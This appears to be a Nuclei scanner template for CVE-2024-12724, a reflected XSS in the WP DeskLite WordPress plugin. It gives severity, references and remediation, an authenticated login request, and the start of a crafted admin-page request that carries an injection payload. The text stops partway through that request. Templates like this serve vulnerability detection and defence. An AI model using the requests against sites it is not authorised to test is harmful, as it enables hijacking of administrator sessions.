id: CVE-2024-12724
info:
name: WP DeskLite - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to account takeover or unauthorized actions.
remediation: |
Update to the latest version with proper input sanitization and escaping.
reference:
- https://wpscan.com/vulnerability/9dd3ffaa-9020-47a6-bf9a-7e1412b9e9d5/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12724
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12724
cwe-id: CWE-79
epss-score: 0.00573
epss-percentile: 0.44587
cpe: cpe:2.3:a:codeflock:wp_desklite:1.0.0:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: codeflock
product: wp_desklite
tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-desklite,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=wpdl_ticket&">